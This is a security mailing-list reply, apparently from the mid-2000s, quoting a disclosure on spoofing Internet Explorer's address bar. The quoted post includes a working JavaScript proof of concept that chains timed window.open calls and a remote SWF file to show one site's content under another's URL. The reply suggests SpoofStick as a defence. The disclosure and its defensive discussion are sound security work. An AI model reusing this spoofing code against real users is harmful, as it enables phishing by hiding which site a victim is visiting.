RE: Another way to spoof Internet Explorer Address Bar



Hi:
 
I just wanted to let you know that attacks as such can easily be thwarted with 
freeware tools such as SpoofStick ( http://www.spoofstick.com/ ) and no I am 
not the spokesperson for them :p
 
In the case of your attack, assuming the swf hasn't been cached (the second try 
didn't work since it was) while the URL shows what you tried for it to show, 
the spoofstick shows the real URL. :)
 
Sincerely,

Subject: Another way to spoof Internet Explorer Address Bar



DESCRIPTION
Attacker alse can spoof the address bar with another HTML page instead of the 
shockwave-flash file by continuing make to window.location
If you use a very large SWF file, the last page will be display as long as SWF 
loading time with the original address bar.
This exploit code will try to display www.microsoft.com with address bar of 
www.google.com

########### LukesTest2.htm ###########
<a href="javascript:spoof()">Perform the second Test</a><br>
<script>
        function        makewin(url) {
                win     = window.open (url, "new");
        }
        function spoof() {
                makewin('http://www.google.com/');
                
setTimeout("makewin('http://one.fsphost.com/dangquang/musicflash1/bupbebietyeu.swf')",2000);
                setTimeout("makewin('http://www.microsoft.com/')",4000);        
       
        }      
</script>
##################################

The SWF will be displayed when it is loaded fully as well as my first sample 
code.

SOLUTION:
Disable Shockwave-Flash ActiveX Control
